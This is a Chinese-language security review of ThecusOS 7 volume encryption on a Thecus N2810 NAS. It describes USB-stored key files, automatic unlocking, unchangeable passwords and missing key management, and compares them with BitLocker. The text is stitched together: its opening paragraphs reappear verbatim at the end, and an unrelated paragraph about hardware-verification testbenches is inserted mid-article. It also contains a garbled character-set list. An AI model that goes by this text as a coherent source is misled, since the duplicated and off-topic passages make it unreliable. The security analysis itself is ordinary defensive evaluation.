Windows BitLocker驱动器加密通过加密Windows操作系统卷上存储的所有数据可以更好地保护计算机中的数据。BitLocker使用TPM帮助保护Windows操作系统和用户数据,并帮助确保计算机即使在无人参与、丢失或被盗的情况下也不会被篡改。 BitLocker还可以在没有TPM的情况下使用。若要在计算机上使用BitLocker而不使用TPM,则必须通过使用组策略更改BitLocker安装向导的默认行为,或通过使用脚本配置BitLocker。使用BitLocker而不使用TPM时,所需加密密钥存储在USB闪存驱动器中,必须提供该驱动器才能解锁存储在卷上的数据。

说到全磁盘加密,首先想到的是微软的BitLocker和苹果的FileVault 2,其中TrueCrypt和VeraCrypt是最受欢迎的第三方实现。所有这些加密容器都支持安全加密、全面的密钥管理以及加密和解锁卷的多种方法。

当谈到NAS加密时,一个典型的NAS 256位AES加密缺乏任何类型的密钥管理,通常情况下,如果不删除整个卷,重新创建,重新加密和重新填充数据,用户甚至无法更改加密密码。许多NAS制造商不知道存在单独的媒体加密密钥和密钥加密密钥,更不用说对此的防护了。出售给家庭或小型办公室用户的典型NAS不允许加密现有数据或从加密卷中删除密码,除非你不再需要保护已加密的卷。

基于对ThecusOS的介绍,我们可以知道Thecus NAS缺乏基本的密钥管理、无法更改加密密码以及无法加密或解密现有卷,使得Thecus NAS加密成为最不灵活的加密技术。保护系统缺乏透明度或任何种类的技术文件,系统如何根据用户的4到16个字符的密码提供3968字节的加密密钥?如果发生数据丢失,是否可以使用用户密码而不是加密密钥来解密数据?密钥是否包含用户的密码,密码的哈希值,或者主要是随机数据?这些问题在技术文档中都没有答案。

同时,Thecus NAS的加密实现既简单又直接。基于存储在可移动USB驱动器上的文件,如果没有上述USB驱动器,数据将无法解密(除非找到漏洞)。这种加密可能足以保护家庭和小型办公室用户存储的大多数数据,但对于大型机构,则慎重选择使用。

NAS(Network Attached Storage:网络附属存储)按字面简单说就是连接在网络上,具备资料存储功能的装置,因此也称为“网络存储器”。它是一种专用数据存储服务器。它以数据为中心,将存储设备与服务器彻底分离,集中管理数据,从而释放带宽、提高性能、降低总拥有成本、保护投资。其成本远远低于使用服务器存储,而效率却远远高于后者。

作为NAS网络存储器的老牌生产商,Thecus已生产NAS设备超过15年。该公司开发了基于Linux的内部NAS操作系统ThecusOS。目前,操作系统的最新版本是ThecusOS 7,该公司宣称其大部分NAS设备的数据加密都是安全的。ThecusOS 7.0基于64位架构并可支持最新一代HTML5,并提供最佳设计、效能以及使用体验。随着ThecusOS 7.0的发布,所有Thecus用户皆能体验到最新一代用户接口的全新强大功能,更多的存储功能及应用模块让色卡司NAS的使用方式更丰富、多元甚至深入所有人的生活层面。ThecusOS 7.0让用户能更直接有效的管理诸如照片、音乐及影片等多媒体档案,影音串流更是支持多种方式如HDMI、VGA、Google Chromecast、 Apple TV及USB装置。

Thecus基于卷的加密工具使用户可以完全加密其整个RAID卷,从而在物理设备被盗时保护重要数据。我们发现Thecus的加密实施有些独特,在本文的研究中,我们将验证制造商的安全思路,并检查Thecus实施256位AES加密的安全性。

Thecus NAS的安全性分析

1. Thecus使用基于卷的256位AES加密和一个固定的,不可更改的加密密钥。当用户根据用户的密码(仅4-16个字符,0-9,a-z,A-Z)创建新的加密卷时,将生成3968字节(31744位)的加密密钥文件,使用相同的密码创建多个加密卷将生成不同的加密密钥文件。

2. 加密密钥存储在外部USB驱动器上(唯一的强制选项),没有任何其他保护。

3. 用户插入包含正确加密密钥的USB驱动器后,加密卷将自动解锁。

4. 用户在创建加密卷时输入的原始密码在任何地方都不会再使用,用户无法更改加密密码,用户无法加密现有数据,用户无法永久解密加密的卷。对加密的任何更改都需要删除并重新创建卷,并用数据填充它,整个加密方案缺少任何类型的技术文档。

5. 整个保护方案是完全没有记录的,例如,由于用户不必再输入密码来加载或访问加密卷,因此不清楚密码的用途。

6. 由于SED受ThecusOS支持,所以在我们的实验室中无法进行测试。

Test Bench

testbench是一种验证的手段。首先,任何设计都是会有输入输出的。但是在软环境中没有激励输入,也不会对你设计的输出正确性进行评估。那么此时便有一种,模拟实际环境的输入激励和输出校验的一种“虚拟平台”的产生。在这个平台上你可以对你的设计从软件层面上进行分析和校验,这个就是testbench的含义

我们分析了一个基于Intel Celeron处理器N2810的Thecus N2810设备,非SED WD Red HDD用于设置NAS执行分析,NAS运行在最新版本的ThecusOS 7上。

基于卷的加密

ThecusOS支持基于卷的加密,与基于文件夹的加密可以保护(或不保护)单个共享不同,基于卷的加密可以保护整个RAID卷。与基于卷的加密最相似的是Microsoft Windows中的BitLocker或Apple macOS中的FileVault 2。不过,与苹果或微软的全磁盘加密工具相比,Thecus的实现过程要简单得多。

加密过程

1. 用户只能加密新创建的空RAID卷,无论磁盘数量如何,单磁盘RAID卷可以像跨多个物理磁盘的卷一样简单进行加密。

2. 无法加密现有卷,若要加密必须首先删除该卷,创建一个新卷,然后勾选“加密”框。因此,不支持使用现有数据加密卷。

第一步是创建一个新卷:

1.png

2.png

可选的加密功能需要输入密码,密码长度必须为4至16个字符,支持0-9、a-z、a-z字符组(不支持特殊字符和本地字符)。

3.png

用户不必记住该密码,因为他们不必再次输入密码即可访问加密的数据。相反,ThecusOS将生成一个3968字节(31744位)的加密密钥,并将该密钥存储在一个外部USB驱动器上,该驱动器必须在创建加密卷时连接到NAS。

4.png

用户将外部USB驱动器(例如闪存驱动器)插入可用的USB端口后,NAS将加密密钥保存在该驱动器上,并创建和加载加密卷。

加载加密卷

当用户将包含卷加密密钥的USB驱动器插入到Thecus NAS上的任何可用USB端口时,将自动加载加密卷。此时没有其他提示,也无需打开Web UI。

加载过程会出现在以下场景中

1. 启动或重新启动NAS,没有插入包含加密密钥的USB驱动器。在这种情况下,加密的卷被锁定,数据无法访问。

6.png

2. 但是,由于主操作系统和某些配置文件存储在小型NAND存储芯片上而不是硬盘驱动器上,因此NAS仍可以完成启动。

3. 启动或重新启动NAS,插入包含加密密钥的USB驱动器。在这种情况下,加密卷将在设备完成启动顺序时安装。

7.png

最有趣的场景是,在没有插入USB驱动器的情况下打开或重新启动NAS,然后用户在稍后插入包含加密密钥的USB驱动器。在这种情况下,操作系统将自动识别USB驱动器,读取加密密钥,并自动加载加密卷。

锁定加密卷

正如我们所指出的,当用户插入正确的USB驱动器时,将自动加载加密卷。删除USB驱动器后会发生什么?在这种情况下,NAS保持已加密的卷加载。此时,该卷将保持加载状态,直到关闭或重新启动NAS,或者直到用户通过Web UI手动锁定卷为止。

8.png

解密

如果你习惯使用BitLocker,你可能知道很容易从加密卷中删除密码。有趣的是,BitLocker不会解密任何已经加密的数据。相反,它只将打开的加密密钥存储在卷标头中,以允许系统获取密钥并在没有密码的情况下访问信息,保存在这些BitLocker卷上的任何新信息都将不加密保存。

有了Thecus,情况就简单多了。用户无法删除加密或永久解密加密卷,这意味着永久解密数据的唯一方法是删除已加密的卷,在不加密的情况下重新创建卷并使用数据填充它。

更改密码是不可能的

早在几十年前,制造商想出了一个好主意,将用于加密和解密数据的二进制密钥与用于访问数据的用户提供的秘密分开。在对称密码学中,只能使用一个唯一的二进制加密密钥对数据进行加密和解密,这称为媒体加密密钥或数据加密密钥。然而,用户可以使用多种不同类型的凭证来解锁加密数据,如纯文本密码、存储在安全智能卡或TPM模块上的凭证、二进制密钥(文件)或它们的组合。这些凭证(密钥加密密钥)用于加密(封装)媒体加密密钥。多个不同的密钥加密密钥可用于封装相同的媒体加密密钥,允许用户立即更改其明文密码,添加或删除智能卡和其他凭据。

ThecusOS 7没有使用密钥加密密钥的概念,用户的原始纯文本密码用于生成单个固定的媒体加密密钥。卷加密后,密码和加密密钥均无法更改。

虽然用户在加密卷时需要输入密码,但是在ThecusOS接口的任何地方都不会再次使用该密码,我在Thecus的技术文档或在线知识库中找不到有关此密码的任何参考资料。密码不用于解密数据或加载加密的分区。用户再也不用输入密码了,换句话说,在这个设置中,密码似乎是完全多余的。这个缺乏适当的解释,更不用说全面的技术文档。

在创建使用相同密码保护的卷时,ThecusOS生成不同的加密密钥。这是一个很好的提示,说明密码中包含了一些随机数据。

Thecus和SED加密

ThecusOS支持SED(自加密驱动器)加密,如下图所示:

9.png

由于缺少兼容的硬盘驱动器,我们尚未测试SED实施。考虑到Thecus N2810的成本和市场定位,该型号可能会与诸如Western Digital Red或Seagate Ironwolf系列之类的消费级NAS硬盘一起使用,这两种硬盘均缺乏SED支持。

Thecus安全模型涵盖了哪些风险?

关于Thecus安全模型,我有以下几点看法。

目前尚不清楚,如果密码不能用于解锁卷且无法更改,系统为何会提示输入密码。如果仅将用户密码用作某种随机种子,则必须正确披露并被记录下来。

令人沮丧的是,缺少有关数据保护方案的任何技术文档。对于家庭用户和小型办公室用户来说,这可能是可以接受的,但是对于其他任何大型用户来说,这都是不可接受的。

加密密钥存储在单独的USB驱动器上,用户可以随时方便地插入该USB驱动器以自动解锁加密卷。因此,整个保护计划完全基于“你所拥有的东西”。这意味着,任何能够访问持有加密密钥的USB驱动器的人都可以加载加密卷。

可以看出,这一切都取决于攻击者是否能够访问包含加密密钥的USB驱动器。

如果USB加密密钥单独存储在NAS单元中,并且关闭了NAS,则加密的数据将受到保护,以防止硬盘驱动器和整个NAS单元被窃取。

如果攻击者可以访问NAS单元和包含加密密钥的USB驱动器,则保护无效。

Thecus加密与Microsoft BitLocker的安全性比较

Windows BitLocker驱动器加密通过加密Windows操作系统卷上存储的所有数据可以更好地保护计算机中的数据。BitLocker使用TPM帮助保护Windows操作系统和用户数据,并帮助确保计算机即使在无人参与、丢失或被盗的情况下也不会被篡改。 BitLocker还可以在没有TPM的情况下使用。若要在计算机上使用BitLocker而不使用TPM,则必须通过使用组策略更改BitLocker安装向导的默认行为,或通过使用脚本配置BitLocker。使用BitLocker而不使用TPM时,所需加密密钥存储在USB闪存驱动器中,必须提供该驱动器才能解锁存储在卷上的数据。

说到全磁盘加密,首先想到的是微软的BitLocker和苹果的FileVault 2,其中TrueCrypt和VeraCrypt是最受欢迎的第三方实现。所有这些加密容器都支持安全加密、全面的密钥管理以及加密和解锁卷的多种方法。

当谈到NAS加密时,一个典型的NAS 256位AES加密缺乏任何类型的密钥管理,通常情况下,如果不删除整个卷,重新创建,重新加密和重新填充数据,用户甚至无法更改加密密码。许多NAS制造商不知道存在单独的媒体加密密钥和密钥加密密钥,更不用说对此的防护了。出售给家庭或小型办公室用户的典型NAS不允许加密现有数据或从加密卷中删除密码,除非你不再需要保护已加密的卷。

基于对ThecusOS的介绍,我们可以知道Thecus NAS缺乏基本的密钥管理、无法更改加密密码以及无法加密或解密现有卷,使得Thecus NAS加密成为最不灵活的加密技术。保护系统缺乏透明度或任何种类的技术文件,系统如何根据用户的4到16个字符的密码提供3968字节的加密密钥?如果发生数据丢失,是否可以使用用户密码而不是加密密钥来解密数据?密钥是否包含用户的密码,密码的哈希值,或者主要是随机数据?这些问题在技术文档中都没有答案。

同时,Thecus NAS的加密实现既简单又直接。基于存储在可移动USB驱动器上的文件,如果没有上述USB驱动器,数据将无法解密(除非找到漏洞)。这种加密可能足以保护家庭和小型办公室用户存储的大多数数据,但对于大型机构,则慎重选择使用。